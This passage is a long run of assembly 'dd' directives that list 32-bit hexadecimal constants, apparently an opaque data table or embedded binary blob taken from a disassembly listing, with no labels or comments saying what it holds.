dd 56B57288h, 690E38Dh, 0A7E418D9h, 431F4BF6h, 0F3D9EFh
dd 9C90ACD0h, 30952655h, 7B4E6ADFh, 5FE9BE3h, 0CCDBDB44h
dd 65F501A7h, 3DDDE5CBh, 5399D7D6h, 0ED42C7F9h, 0FE9EBD74h
dd 0A80F45Eh, 0AC8A7EE8h, 0C7103E02h, 0D6EF8C7Dh, 198A8718h
dd 94DA05CBh, 1B84DD06h, 651FB8Ah, 7BE1AA5Ch, 4BBD38BBh
dd 0A6D0B6B5h, 7D0E7562h, 0C0FA3B3Ah, 851C8DE8h, 4362E9F3h
dd 0FB20D56Bh, 621F8062h, 193C872Bh, 0BBD77E0Ch, 0BA1E79FDh
dd 8B2C6578h, 0F0E81962h
dd 0C4551140h, 0EA73A328h, 0D9AF3289h, 0CB634BC3h, 18CCEC8Dh
dd 0E8A6AC46h, 7946BB2Ah, 0F5D03338h, 6E425C6Eh, 2DA77009h
dd 0E4CC1D1Ch, 0BF62B7DDh, 0F0DD1D68h, 2C933DC8h, 0C44CA46Eh
dd 37EFE016h, 0A14BAC42h, 0D6E1A462h, 804370D8h, 4F65663Eh
dd 50A2D51Eh, 911AD15Bh, 58CE52A0h, 9CB3F20Dh, 8DD4333h
dd 21EA7E4Bh, 0D34093BDh, 0A444CF67h, 42B0E133h, 5C356624h
dd 0CE667A8Bh, 6679158Ah, 0D7092E75h, 0AEB27E9h, 0A865121Eh
dd 0E1D0FBA3h, 382D4494h, 0ADF8E251h, 1C904CB2h, 0AB63D00Fh
dd 0F5D70313h, 0BABD2B73h, 58A1404Bh, 0B7C5DDD9h, 4678A7C2h
dd 972CC3FEh, 0B8DD4F3h, 0E7A06F3Bh, 9CD497E9h, 6EE1D122h
dd 4CBC5914h, 514E432h, 7C61344h, 72EFFE22h, 0CFD1BD8Fh
dd 0B9B66E35h, 8AB53624h, 0CD558573h, 96EC3998h, 304DA937h
dd 6D35BC03h, 19A50576h, 10F46572h, 4E624D3Bh, 20926Eh
dd 78950B91h, 4085E1A8h, 7D6E3F96h, 4542D668h, 18BB5323h
dd 0EED35E1Bh, 6FD6849Bh, 0CBB416B8h, 3BC0BA00h, 3FDC08BCh
dd 639EAA3h, 0DE724EDDh, 9CA92375h, 76E7B80Ch, 486C642Ah
dd 97643A2Eh, 0F2DF7881h, 0F364A33Ah, 110B065Ch, 63E26D5Eh
dd 541469C5h, 8CDC0EF9h, 9AE02658h, 0FBDB0482h, 0D85F2BE9h
dd 0F6BCA31Bh, 8773B455h, 0E5DF3870h, 46725214h, 0F56D27CAh
dd 0F99A4815h, 99301B5h, 0B8389946h, 4D903ED0h, 0C1C317DDh
dd 91C5C44Eh, 5D5B8459h, 0CAAC3DE1h, 331B3075h, 0FF38E25Ah
dd 56DBFA9h, 0C9F42D2Ah, 9B78424Fh, 0E8153CB6h, 8AF7D723h
dd 23535A2Dh, 1764CA8Bh, 0BC3B7E55h, 4C9FB30Dh, 0CCFA3967h
dd 0CA3F6BFDh, 0C99BE58Ah, 41A5BF65h, 5CB0329h, 34F3028h
dd 83AC9359h, 62B03D8Ah, 354B896Ah, 5A280061h, 8AA9186Ah
dd 36843D33h, 91245243h, 62F530DAh, 0E81A6440h, 5F18DE7Ah
dd 0BEAB66E0h, 7E0DAFB7h, 0DEA69B0Dh, 1E2AA579h, 4380638h
dd 0B260C4EFh, 9E7DB11Ch, 0AFDEAB0Ch, 90AC8536h, 436501B2h
dd 6D75A7DEh, 0A9FD4842h, 9AEB617Bh, 2A9A6BE0h, 6365E699h
dd 0F463ACB4h, 9D6E187Dh, 341EEA32h, 1C3C6E2Ch, 0EA3A44EEh
dd 0F784AD6h, 984C3EBEh, 8EC947AFh, 83D80B08h, 0C508CDA2h
dd 18C008Bh, 6D03D3C3h, 6901169Dh, 36DCC8AEh, 820BF7D5h
dd 0CE85634Fh, 1BB5E0D7h, 2F14403Ch, 0AB00660Fh, 41E56C81h
dd 60C14D10h, 1FA503CCh, 0A17920B2h, 59E03B8Fh, 0F4C4E7F7h
dd 6322ECA3h, 353CD5ABh, 0FFB9942Bh, 0D6006AEBh, 88F94DB4h
dd 0D972C40Eh, 0DFFDCE45h, 75D2AE8Ch, 38CB9840h, 6CB73C32h
dd 5D9FF096h, 2830A44h, 30CBEEAh, 0D65E18D9h, 0D6A18900h
dd 41134404h, 0E4EB504Ah, 78D57E0Dh, 0C936F257h, 0A055B372h
dd 2ABBFF75h, 7A3D4621h, 42379D1Dh, 703F00B1h, 87CD153Eh
dd 0C9893EECh, 7AFCDAC9h, 7E7300C3h, 0E3B3CE21h, 51EE00CAh
dd 0B3E4BEE1h, 49AD6A3Ch, 0DCE23B1Ah, 33675904h, 0CAB396FEh
dd 6A5B4BDDh, 7D72DE8Bh, 179BCCE0h, 94A39080h, 0EA62801Ah
dd 0B62E3E91h, 2AAFDDB3h, 8F437830h, 0DCA4C46Eh, 0EDE92C44h
dd 0B0C23F48h, 0DE06F600h, 89A801CEh, 0A741139Bh, 770F1D93h
dd 3B0203B3h, 2F98EBF1h, 6108ED6Eh, 1F0E52E0h, 21FC76D1h
dd 32507A1Eh, 459C09FFh, 92AB0DE0h, 578FA9D5h, 856AC6ADh
dd 0D7D4AE31h, 19600066h, 0F30F1FC4h, 0F1A5902Bh, 64689BD4h
dd 29FBDA7Ch, 9428F87Ch, 0CC9F3131h, 12C5ED1Ch, 0F7C46D84h
dd 69CAD931h, 0FBAA99CDh, 98081886h, 434AEB2Dh, 0D91B465Bh
dd 0AE30596Eh, 5E2BF88Bh, 6570916Ch, 0F10EC43Ah, 0DAD533E0h
dd 1F8192EDh, 8B5C31D0h, 0C49D37C1h, 16741B68h, 631125A8h
dd 0E7253510h, 789BEBE3h, 0E0319615h, 0D59EA976h, 8F6F8028h
dd 0D62B6E5Fh, 0FC416A66h, 5EF1B74h, 4700CFh, 4926BFF5h
dd 0C4CC498Ah, 21297774h, 0EB763C73h, 24AA3D94h, 8B91EF34h
dd 82181F24h, 598E5F32h, 690FA713h, 47E0ECDh, 5C098451h
dd 2D261D6Eh, 50541ECDh, 0CEB60F69h, 0A5ACE186h, 70380DDCh
dd 0E20A3B3Fh, 0B6503A06h, 7099EA9Dh, 0C6A4360Ch, 3926A621h
dd 41665F55h, 0ECBE6628h, 4FE54F29h, 0F45A9965h, 0A6A70C65h
dd 1C5F9411h, 0E31BD6CFh, 40FC0E2Bh, 0DCEF102Ch, 2E83BFBh
dd 6ABEA2A6h, 0B37DCFCFh, 93A8B493h, 9A82D953h, 0D2D87059h
dd 390AD0B9h, 4AB5DEC2h, 331B220h, 47AD95A3h, 0D33D6A9Eh
dd 4A4FA895h, 0FC836493h, 8027D0B1h, 0F9A68B4Ah, 9AC6D52Fh
dd 0CB1F0F96h, 0C443A344h, 682CBFF8h, 69496B92h, 7164C103h
dd 0B8694609h, 0FD3CC3FFh, 0E66D8D77h, 4E800E89h, 0FE1FE905h
dd 0E0CC418Eh, 7A9BE1BDh, 0DA979C65h, 3119359Fh, 37A38552h
dd 22D24A3Ch, 52B23FB8h, 2E316B05h, 0E9E0F43Eh, 6A04846h
dd 4AA0EF1Ch, 0D77BD111h, 3B8F20FCh, 0BB3C694Ah, 0FB9B2D7Dh
dd 316DE867h, 2C196234h, 72F4599Eh, 0AF80A8B2h, 0C7F32A6Ch
dd 0E81880F0h, 3221E0E6h, 0A1346DF7h, 6426F557h, 862353F0h
dd 427E833Bh, 0CF4E692h, 26648E33h, 9379710h, 0F59CED0Eh
dd 0AC69446Bh, 0C3991F1Ah, 7F825A82h, 162CA528h, 0FE8F37Eh
dd 7190C365h, 755A4B9Bh, 0E7895B21h, 17D91CFBh, 235D9D11h
dd 849B04E4h, 0B31C164Dh, 455B9B32h, 0DB5D7F51h, 7C11C202h
dd 1B66D4BBh, 0BE298484h, 0CF010A9Ch, 0D6194411h, 0BA126CC2h
dd 1D6B9FD5h, 8D3E7377h, 44C7BB5Dh, 0F3BB96E4h, 96B5752Eh
dd 0CD90BBE7h, 3FFEB5C1h, 980F222Eh, 3908A366h, 0A3521D96h
dd 0CD45911Dh, 0A4561539h, 0DA1A32F6h, 3A06C91Fh, 0EC988ED4h
dd 8EB89E99h, 0AF41B33Dh, 1EDBA20Eh, 6C5FFAD9h, 0C412EDF3h
dd 16DDFBE7h, 3F8553BFh, 0C774B3BFh, 0C3EBA138h, 0FAB3A5F3h
dd 387B5955h, 0E0BEDBD2h, 2A775323h, 0ED372EEFh, 56DBB2A8h
dd 3771BCA6h, 434ADF0Fh, 0C4FE9FC3h, 0ED0117AFh, 0CAA83706h
dd 641902C8h, 1B5E0A62h, 66D4B738h, 78E5B40Ch, 9EB94C94h
dd 62DD2715h, 968A9E0h, 0DC29CBF1h, 948539C0h, 90B30607h
dd 0AF0C7A8h, 931E8FF3h, 783D3177h, 0F380605h, 1F9927DEh
dd 2AA0964Ah, 0DDE02C4Dh, 2C2AD038h, 4784288Fh, 198310F8h
dd 882B6EC7h, 0C919AD3Bh, 562DEB03h, 0BA00B53Fh, 0F401BEBBh
dd 8EA5C990h, 4323967Eh, 1DD73385h, 9AE886F9h, 0A537748Bh
dd 0A454BB5Ah, 0D92D443Ch, 0ED34E40Ah, 3AF5D7D7h, 345B0FE0h
dd 2B356C73h, 0E56506h, 5A19CEC6h, 552B0213h, 68438C0Fh
dd 6510B9FEh, 152B96B5h, 98F91315h, 60C17FCAh, 0F7643412h
dd 472B36D5h, 32252B28h, 38D16A50h, 21061483h, 0ACD40334h
dd 3E619840h, 41A29D3Dh, 0ECAF09Ch, 0C4C3966Dh, 7AEEFE61h
dd 0C43CADA8h, 97CF9A2Bh, 48CA87B9h, 72867DB1h, 43D61797h
dd 231C3AEh, 7DFD9E60h, 484095B6h, 0D8EAACCDh, 21BE4B98h
dd 0F2DC98F9h, 0CE183436h, 4F09E76Dh, 0B31A6DB7h, 30271A6Fh
dd 0D2E06523h, 0C12305BAh, 8ED51693h, 0D006560Ch, 0E31D59B3h
dd 1C07DD78h, 2245D008h, 99B919C2h, 17D887A2h, 407DEDBCh
dd 62F52F27h, 4C0B126Eh, 529C3BD1h, 0E5B1B4A6h, 0C13204B3h
dd 2392E28h, 4E0E08C3h, 285B2900h, 0CB6CEE21h, 5040E062h
dd 0F4953E5Eh, 38A2FE1Dh, 3BEB34E8h, 0E8CAE187h, 0EC124DC3h
dd 0A0A57090h, 9D9C11B2h, 9614B568h, 10A4BED2h, 9355263Fh
dd 0C3B8692Ah, 73031162h, 0A8B5FFB4h, 0AA23C82Fh, 48821E28h
dd 8C605B84h, 0D3BCA99h
dd 0B8A4F9F6h, 3E5A8E17h, 48D6042Dh, 0E5D1B0C9h, 97C5C73Dh
dd 0BC385A1Dh, 70108016h, 17FD9560h, 1F2296D1h, 52727870h
dd 832545DAh, 7978EFD3h, 346C9925h, 17615334h, 0E79E05Bh
dd 0D9C4F714h, 7DE2077Ah, 0F3948A42h, 0AC9F8895h, 30953284h
dd 3E060222h, 1FF49394h, 4A699C34h, 1E5B8C78h, 12D8A324h
dd 0A4D961B7h, 53CA72BCh, 86A0FDFFh, 11C5EA5Bh, 6F02EBF0h
dd 582FD4Fh, 0B9B853DBh, 1E3FC40Fh, 6335D58Dh, 0BCD67021h
dd 44C1938Ch, 4B5F19Ah, 995C09C2h, 3DC44169h, 796A70h
dd 0DC859D92h, 3637CC3Ch, 0F450AEF0h, 34C090B7h, 0A2766707h
dd 50964F89h, 0FD2B2049h, 85E8B283h, 0C31DFC2h, 0B292F097h
dd 0B000660Fh, 13E6B407h, 0B5768061h, 0EA5C832Ch, 725A922Fh
dd 0C6957317h, 41E98F25h, 0C6A16134h, 656924C5h, 99F5E551h
dd 2335A38Ah, 6B6E1AA4h, 0F7B95AEFh, 0F4A7839Ch, 0B14FA663h
dd 2CB9DD21h, 17688E04h, 8DA06645h, 5ADAA240h, 161B503Bh
dd 2E6F78FDh, 0B92BE42Bh, 6F5D0463h, 45663571h, 7D510B65h
dd 0BFDE724Eh, 0F026EB6Dh, 0BD84CE03h, 0C19C5F9Ah, 2E009E7Eh
dd 248634B7h, 87DAC5CEh, 45100DCh, 2E71A561h, 417DBE98h
dd 65BE414h, 0EC7E26CFh, 0FE368CDBh, 8B6ACB50h, 88070613h
dd 55A13AC0h, 0E02D6B6Eh, 6BADC21Ch, 45174180h, 0AA65D698h
dd 3E08FFADh, 3F15C8E2h, 221345A0h, 478DAC99h, 0D329329Ah
dd 0F6CDDC1Ch, 0FDB2D8C9h, 0BA6770E1h, 0B31DE65Ah, 9A916E39h
dd 0A1D00146h, 0AAC48D94h, 0A384249Dh, 21AD5452h, 69C3E4D7h
dd 211E67B0h, 20C4C9C6h, 0FACAF395h, 71896A99h, 0B5D86416h
dd 7F96EFB1h, 0F241B602h, 0EA4062C2h, 98360DA6h, 0F742CD6Ah
dd 0A11C45B5h, 0F9A9812Dh, 575CE600h, 30710116h, 6A43A6BFh
dd 170F6C72h, 15DE4511h, 0A73DFDB5h, 0C1AFF2h, 88A0BA51h
dd 6D5B1A09h, 5474D2E3h, 3EC1118Eh, 539D1C00h, 0E2A8DCAAh
dd 0A9E36006h, 0AB2E58F7h, 5F1E30E5h, 56F6AACAh, 0E2D38D4Ah
dd 0A0BAF598h, 518BCC9Bh, 5799E16Ah, 7146DFBFh, 54E4D48Fh
dd 9CBD1610h, 0EA99B8h, 8079C90Eh, 0F9801BA4h, 62B4EBA8h
dd 9613B65Bh, 2DC1AB81h, 4E807054h, 3E71826Ah, 4E1B128h
dd 0CC3795F4h, 5BBB8EEFh, 0AD93C2DFh, 0ECCDAA0Ch, 508B2DCFh
dd 16AEB45Ah, 0D45481B6h, 1A6BBFE3h, 0D6884F06h, 9F087B76h
dd 0A5998FF2h, 0B4B7AAF3h, 53EE9A08h, 0CE304B2Eh, 18A9BDA4h
dd 87CC2DBFh, 1EBD0D0Bh, 8E1E4FABh, 8CD84A6Eh, 8AD4869Eh
dd 0E0827926h, 3E744450h, 9B9B9AC7h, 6946EBF5h, 0DAC21CECh
dd 0D0C858B8h, 746C3CD9h, 7CCABED8h, 0BB9FC770h, 0CB83354Fh
dd 0EC953AFEh, 0B8AD75B3h, 0E52E99CDh, 95787C86h, 76E361B6h
dd 261C136Ah, 4B2BF9Ah, 341FA884h, 49FB506Ah, 0D17F6A99h
dd 618795F7h, 70B9C084h, 93A73B58h, 9367DF16h, 7587BC70h
dd 4562EAF1h, 0D50B8CEEh, 0A9CD4329h, 1392A8A5h, 3A7AD436h
dd 0F258735h, 51452876h, 97C21ADCh, 1CCA0193h, 0DEC3968Fh
dd 365461ABh, 0DA42331Dh, 0B2658E7Ch, 0E853B1EBh, 85EA109Eh
dd 0C3E9E4E0h, 0E8AA0152h, 0A30E34CCh, 5D75AFC1h, 81087B8h
dd 0FD20894Ah, 0A7CD1EB3h, 241D1132h, 0C2225C20h, 266EB92h
dd 0F7406020h, 0F7841D4h, 0CF9597BAh, 28940A68h, 998AA1F1h
dd 7093F0F3h, 564121C4h, 0B27F1008h, 0FEC2DFBh, 5F36187Eh
dd 0D2763E87h, 47C0BBC5h, 93330921h, 0FD80991Ch, 134CA95Dh
dd 0F76B50CEh, 72205758h, 3A50858Ch, 1D3D0CBBh, 0C56ADBC5h
dd 0AD4B9133h, 8235554h, 794A102Ch, 52907476h, 8F01D220h
dd 0D6D5D375h, 0B84B848Ah, 0B6491B14h, 97DD19E3h, 16D663D1h
dd 9E0EAF39h, 0D524C178h, 0B1A9FE46h, 7719300Eh, 0D5599773h
dd 2BFAE72Ah, 148602F6h, 0B06B4830h, 69EEACADh, 0FFB06181h
dd 1EE7C208h, 83D80664h, 98AD846Fh, 2370854Dh, 29B07969h
dd 42F6BE4Dh, 0CCB2B928h, 1C04506Ah, 381BDE40h, 5E380713h
dd 6747782Fh, 0ECD7B315h, 0AB5969D6h, 6ED955A0h, 794E6D4Dh
dd 2227F917h, 6706D415h, 4DBAEF16h, 0EAE86CD7h, 0DFED3D5Ah
dd 851B967Eh, 0F07DFC36h, 53D5D56Ah, 0ADC8BB18h, 90B5D4EEh
dd 3325F960h, 8B766B29h, 5E1AFFE5h, 279D004h, 0A30A0ED0h
dd 0F2AE70F5h, 523FE3E1h, 0CD74E1ABh, 0BC311D6Eh, 44F93751h
dd 875EC50Ah, 5ED3D371h, 39E51CE7h, 44466C7Dh, 0CCDB5FB6h
dd 8F461BCAh, 0C790ABFEh, 0C6740C08h, 137BA0CDh, 527BBDC0h
dd 571342A1h, 0A7A10E81h, 9917CABBh, 6BF501FFh, 5A791F38h
dd 85D3E64Eh, 493B37CEh, 0EDC3A9D6h, 0B7AE5E44h, 0DACC359Dh
dd 33975E4Fh, 0B8A14B10h, 9B110A03h, 0A8818AFFh, 0A7B1BC79h
dd 174DAC44h, 3BCDA05Bh, 4AAC8540h, 1482AE9Fh, 0D1D23595h
dd 81DB2B9Ch, 0CDDA2B7Fh, 0FA26DC6h, 4F0A17BAh, 0E01D8F6h
dd 1085C233h, 0DACB4A13h, 0ABEE670Ah, 331E7CDFh, 8D254F1Bh
dd 0C1E6AFD8h, 709133E6h, 55EA747Ch, 3B3D8E04h, 31BAD0B6h
dd 9AD34FBDh, 0A267EEC4h, 0F9127663h, 0D4DC30D7h, 0C9C5DF90h
dd 0C3819F07h, 702EF4EFh, 2C7066A4h, 0B4ECD625h, 0C87BB7Dh
dd 9B0418E3h, 7CB27155h, 0FFE278FAh, 9A57EB2Bh, 553A55DFh
dd 0EF84C939h, 50E54736h, 0C6B6F07Ch, 3829F5ACh, 0D1ED4139h
dd 58E18BFh, 0C0B2E0ABh, 7286AAADh, 733FE809h, 0F9316933h
dd 0BFDFD401h, 6F424BA8h, 209FC17Ch, 64E879B5h, 459F3C81h
dd 8593CDC8h, 0BBD7618Fh, 592F238Ah, 1EBD3FABh, 4C112792h
dd 9523C469h, 2872917Bh, 4EC12081h, 15897FEh, 0A115213h
dd 0FF389A6Fh, 0CEA46556h, 0C3C6FA2Fh, 24B30B55h, 0E599EE8Ah
dd 0D28A45E7h, 3AF030C8h, 13360C3Fh, 7978138Dh, 0F784B24Ah
dd 9DF241E6h, 7A74549Ah, 0B3602515h, 58C4250Fh, 717A75ECh
dd 0EB29C8FDh, 9B70EDE4h, 69429CB2h, 17F8FEA2h, 0ECAE5F2Ch
dd 8ED1987Eh, 286DC623h, 0DB755139h, 8EC936A0h, 0CC866324h
dd 5B29223Ch, 1BF5D911h, 838F0BAAh, 8E243112h, 0D413FBC6h
dd 0CD907014h, 0CA038D1Fh, 44F0B953h, 0F1A3378Ah, 8C4C7551h
dd 0B9360343h, 0E885BAFEh, 0C9AD2207h, 9D06D999h, 0BD76178Ch
dd 3BFEE1BCh, 4A82AE93h, 4C8B8E31h, 433C365Ah, 6C2382E7h
dd 966C9ADAh, 0E65490FCh, 72B979F3h, 898A5522h, 1978B317h
dd 0A792AC2Eh, 0AE76D39h, 0FABF10EAh, 0E4B85C0Bh, 3B368E12h
dd 0D9B312A3h, 17D8A807h, 0B96A437Ch, 0FCC9BE9Bh, 0D43DF72h
dd 0E94F415h, 65524BE1h, 282D99BCh, 0A43B1EB4h, 0F07ED956h
dd 9B8CE35Ch, 56EF58B6h, 64F1B67Ah, 0DEA27F35h, 147E5F60h
dd 5E7A1227h, 73375F53h, 73A5A591h, 7470600Fh, 95ECE5FCh
dd 7F2A59D5h, 7921B0A7h, 0E97E62F5h, 370E9D1h, 204115A4h
dd 5F458BFh, 0E22AAF4Ah, 61919CF3h, 2840BF1Dh, 6B61A151h
dd 0D49DD033h, 0C160F7BBh, 43006074h, 8CDC006Ah, 151EC5DFh
dd 45486675h, 1F98325Ch, 0A71F6DD3h, 14CA932Eh, 35AAF16Dh
dd 72CDAB55h, 43D3B9FDh, 21A631A4h, 0CD14D41Ah, 178BC3AFh
dd 236BB486h, 3B7DD365h, 555A79CEh, 0F500383Dh, 3639DCFAh
dd 92248AAEh, 948FF1DFh, 0C8BCDFF5h, 46B13A7Ah, 0DB5CAE5Dh
dd 0EE38788Bh, 0DA1B5BDCh, 89A8C95Ah, 5D897668h, 0D28B4115h
dd 481FC95Ah, 0F33FB355h, 0A59E7EDFh, 8641601Dh, 0D7E7BA42h
dd 9860275h, 6A78F871h, 81C90F3Ah, 0BFCC8D85h, 0D9C6ECD6h
dd 850D0BAFh, 463850D9h
dd 36B3C5D8h, 0EAEAA646h, 0DBD2049Ch, 0DE9536CDh, 0A2CF6A5h
dd 922781EDh, 0A551E4ECh, 92976141h, 0FBA793AEh, 98D4CC2Dh
dd 0C5427D76h, 0DDD80229h, 807B10C3h, 72D6DCA7h, 0D5173C2Ch
dd 13612003h, 9C4FE964h, 1CF92B06h, 0BD4D0E03h, 0F5913C39h
dd 0DF8F06D9h, 0CC996386h, 3818D5E0h, 41E3CFBh, 4466D12Bh
dd 8F8A3CC3h, 0A5D20A3Fh, 0BD612756h, 20B480EDh, 55522816h
dd 1B8EFA35h, 7B005D39h, 7A97C6F4h, 4CADEC4Fh, 542D5D1Dh
dd 0FD17E311h, 712EC710h, 8E38BB99h, 309DAA10h, 82BAAA0Ch
dd 0B7FC3C01h, 8B086E7Ch, 633E3618h, 0D9D4B867h, 38AEB16Bh
dd 4D00B1E6h, 0A4B7C191h, 0A2E483B7h, 8C4D040Dh, 8BE2E885h
dd 76B21C8Eh, 0D2EDB277h, 583A479Ah, 0D978997Bh, 0C7A03ED5h
dd 857DFD8Dh, 305C7785h, 5D0CAD54h, 1BF6A57Dh, 0F7040C4Eh
dd 0D5356B00h, 407A1C08h, 0EC71FB2h, 205E7DC3h, 0A61A7A7Ch
dd 4BA9657Dh, 0DD403986h, 0A2DB7495h, 0DF188A6Fh, 0F422C28Fh
dd 8491A3B8h, 8D3B5CA4h, 0AAA4B31Ah, 301AF335h, 5BB894B3h
dd 3681F0A6h, 0C1FB13BBh, 0D3240A9Ah, 0ABF9FAC8h, 6416A996h
dd 0C4A60A9Ch, 0A55549DCh, 0A79170BBh, 84770EA1h, 649108BAh
dd 9EBDB28h, 0AF2EE83Dh, 9DF60D3Dh, 58B677A4h, 8C164157h
dd 6A90D137h, 0D8C556D6h, 4065E9CAh, 9911FCA9h, 3F76A576h
dd 9C6BA8BDh, 53DB0840h, 355820A6h, 7B25D571h, 0A9FA1341h
dd 0C5351719h, 93A4A7EFh, 19491172h, 5121B9B2h, 0E1FF8A7Ch
dd 0E1EBB422h, 0C1BCDFFBh, 81E7B0F8h, 96F7BAABh, 372C7767h
dd 9938E125h, 9CDF9F85h, 969A27C4h, 912335CEh, 3D2BB2C4h
dd 0AD5ED235h, 0C7A178A6h, 0FBD0A42Ah, 0E82EDCFBh, 97014784h
dd 4C180902h, 2C2244BEh, 908CA07Fh, 6C57EDF3h, 8487DAB4h
dd 497CDD07h, 0DC9D49E9h, 9DAB2500h, 6642D1E1h, 5C7FD068h
dd 974CF1DFh, 0E9DC70E7h, 81040D24h, 0AE65F08Fh, 4928A52h
dd 0F82D4B21h, 81AFF63Dh, 44D70B4Ch, 32D02A2Ch, 70526038h
dd 91C03816h, 335EE6D7h, 2828D525h, 0DEEC3B7h, 451A7300h
dd 58F08510h, 34B5F8E0h, 45AAA21Dh, 0F561B999h, 0B5871EA4h
dd 4010B4E5h, 46049A1Ah, 0DEE6CD71h, 5EF36B5Ch, 6AAC6D93h
dd 0AB9536F1h, 175DB8B3h, 0C2865A21h, 21DDF85Fh, 52555FA9h
dd 0E8CE72C7h, 39CAC93Ch, 3EBBA207h, 0BF11EBCEh, 57D26A78h
dd 0E94BA83Ch, 0A617DA29h, 1D894DD3h, 0F7AB66E5h, 7497FC0Ch
dd 0F0F4A972h, 6D7E9B2Ch, 0BB7CB5E8h, 8226BA81h, 9A80421Ah
dd 0A102B907h, 6F4B863Fh, 0DB939D9h, 646220AAh, 0A8FA7EDh
dd 76201E10h, 0FEA4B681h, 0EA8D17Dh, 77D37785h, 0DCEACB7Fh
dd 0BF1D6EE7h, 0CE0D5F7Ch, 1EA4AD9Ch, 0C162B0FEh, 0ED808A9Fh
dd 17ED5DB5h, 0DE90729Dh, 6E1D1BE8h, 73A3A2D7h, 905875EFh
dd 61BDB1B8h, 6B415476h, 0CCE90DEBh, 0EC575D2Dh, 4A34E414h
dd 75BF4AC8h, 8F88F015h, 3F0B9B69h, 8B47565h, 0A36F7379h
dd 64ADB841h, 1FC3ACAFh, 4EB50C25h, 494BF0Bh, 0E21762FFh
dd 0F671216Dh, 132D4406h, 0A1E733BEh, 9FAE451Dh, 0FF3706B8h
dd 83084735h, 0D35EA9B3h, 99B6708Fh, 212D9576h, 4CA924A4h
dd 0AC089478h, 0C259FB29h, 0D76C76F3h, 0C9BBC4DFh, 0CAE24295h
dd 0EA231C8Eh, 80B084CEh, 0BD115370h, 559AC0BEh, 0D3617D7Bh
dd 35C2F655h, 5A8E06DEh, 58FA6C93h, 62F5201Eh, 4D27E802h
dd 0F2830017h, 982E3EEEh, 751DA717h, 4C9B9F34h, 0F8EFDA55h
dd 0D9503D93h, 0AA9C34Bh, 8850A553h, 0C2C1C0F9h, 1DA1F57Bh
dd 0C3F71F7Eh, 279F7634h, 524263D2h, 0F0F6880Dh, 48356942h
dd 0EC9A4684h, 97F2584Bh, 0A3C89E31h, 9480CACAh, 794BA006h
dd 0B7D64BF7h, 8B4CF5CFh, 8D4E8B86h, 1278490h, 55109F05h
dd 0E512B298h, 0B12680FBh, 0AC7300F3h, 3C217CC7h, 0A59618D1h
dd 50EDD9FEh, 486E3087h, 588ED704h, 1DA6E8AFh, 96E62C72h
dd 3D24ECEBh, 96259F42h, 0F53ECA29h, 7FD65616h, 0A9BFDA21h
dd 31450AB1h, 0A7E06CB9h, 513CE392h, 665EDAB5h, 0A88CA1C0h
dd 29610B81h, 9F387C08h, 0E7947A9Fh, 5C8CA805h, 554CC713h
dd 501504D4h, 9522B2ACh, 3A347216h, 0F3107C76h, 67627521h
dd 667F2BAAh, 0BDE6C586h, 8C6715A4h, 0FA08E9CBh, 62C4AC57h
dd 84997BFFh, 33B8B35Eh, 1B8E2CA7h, 0DFE99D8Fh, 0F4592999h
dd 108A8797h, 1800C44Ch, 0E9D2AAC5h, 6E45C8D5h, 4F588EBEh
dd 0C8BE284h, 9F3D2E1Ch, 546CFC38h, 0BCFC1487h, 0CD81CD63h
dd 0C9166AABh, 0FCD9D1F9h, 27017A22h, 0BEA759Ch, 18163360h
dd 433339B4h, 0F5F413E2h, 30BE86E6h, 0B57CA74Bh, 0E5E139D5h
dd 0C3C3E86Ah, 0EB5345CBh, 1E256DD6h, 0FA4B71C8h, 1883C25Bh
dd 3B282E07h, 0C37C28EDh, 880C62F3h, 0A413B691h, 0D79C39BDh
dd 65647E04h, 0AE49D2B5h, 38CBA1E6h, 62305FF8h, 9375740h
dd 38625520h, 3426B75Bh, 22024FEh, 242B7CD6h, 0F08A1AB3h
dd 0A8EC4EBDh, 69C1349h, 1CACDD84h, 13C93128h, 5B2E76BCh
dd 0B428902Ah, 851B4BF5h, 0F491F510h, 1999B0AEh, 0C0DD900Eh
dd 0BAC1B0ECh, 19793101h, 0CD568B3Dh, 1EEA7DF1h, 0AAB19D53h
dd 58FED81h, 17E95D6Ah, 331AC426h, 0F433FA3Ch, 0ED1653CFh
dd 8162B090h, 1B447C2Bh, 339C0604h, 708C84A2h, 57BE1AA7h
dd 65B60ED1h, 56BCC1E8h, 0B6AB4822h, 8CD9E479h, 0FBC2ECE3h
dd 1BB6163Fh, 0F12ADD04h, 2D76B7D1h, 5A7BDF25h, 0E51ADB80h
dd 0DEB544E2h, 476B99A7h, 0BFFEFB81h, 0E1FE3985h, 0A77CA2F0h
dd 5F1844A4h, 12D6AE32h, 0EB8F46B8h, 6575070Fh, 8824CA36h
dd 20ECD263h, 0CB037C42h, 3A9BA044h, 85B85BF9h, 0B4C7B5B5h
dd 11822718h, 23316824h, 93268F94h, 0F5AAD6FFh, 0C4652EB1h
dd 67A0E8Fh, 849F49EEh, 0ADF04244h, 0CF57EE82h, 907E2FC2h
dd 0B9BCBA5Bh, 81144919h, 0DB59E94Dh, 0B2361003h, 8A80FF3Eh
dd 843D2D38h, 95877006h, 0CE31AAF8h, 4BFE066Ah, 4D447097h
dd 3C0DFC51h, 0EC6BE1D2h, 0D5713482h, 7F569BD3h, 429F9C5h
dd 6957E620h, 8F0C8BB6h, 0DABA9376h, 20E3D6C2h, 0F13D879Fh
dd 0F6B1F97Ch, 0CDB93427h, 0AED9A350h, 0D5752129h, 483ED1B3h
dd 0BAAF4EF0h, 17B0EB5Ah, 0BEA391Fh, 0FA7ED0E1h, 765151EAh
dd 2E2EA23Dh, 0F8250FE5h, 0C7D34DE4h, 0F945E3C0h, 0E917C6E2h
dd 3DFAA702h, 0AA8DF221h, 0CABF7EC6h, 52ABB632h, 0DF942139h
dd 3FFDCE3Fh, 7FD942F7h, 0D79435BCh, 0FC9B61A6h, 427F0636h
dd 0F700595Eh, 68950984h, 8096F9A2h, 7A0D85F3h, 85FD39FBh
dd 0EBD0C856h, 618EE212h, 827BDF90h, 0CAEE485Eh, 0FB08EBB3h
dd 808771FDh, 3D9B3946h, 0E702D8A2h, 0A9EBC35Bh, 3173C73Eh
dd 2FFDFAF2h, 0C72C520h, 0EFD64989h, 663EFD78h, 23D2B4F6h
dd 7F4B515Fh, 0CE865571h, 0E97B7942h, 987048DDh, 508DF7BCh
dd 0CD3D63D8h, 2119C12Bh, 0FE3540ACh, 1CB65E91h, 0E44F1444h
dd 0D79AD334h, 29B730B0h, 5B06E7B7h, 1759B240h, 324C7324h
dd 47B8A96Ah, 8B7144B7h, 0D479D265h, 63688C20h, 0CA42F2B6h
dd 0F7B16B57h, 38E3D95Eh, 0A75A8B9Ah, 0F98CBE2Dh, 0CCD098C9h
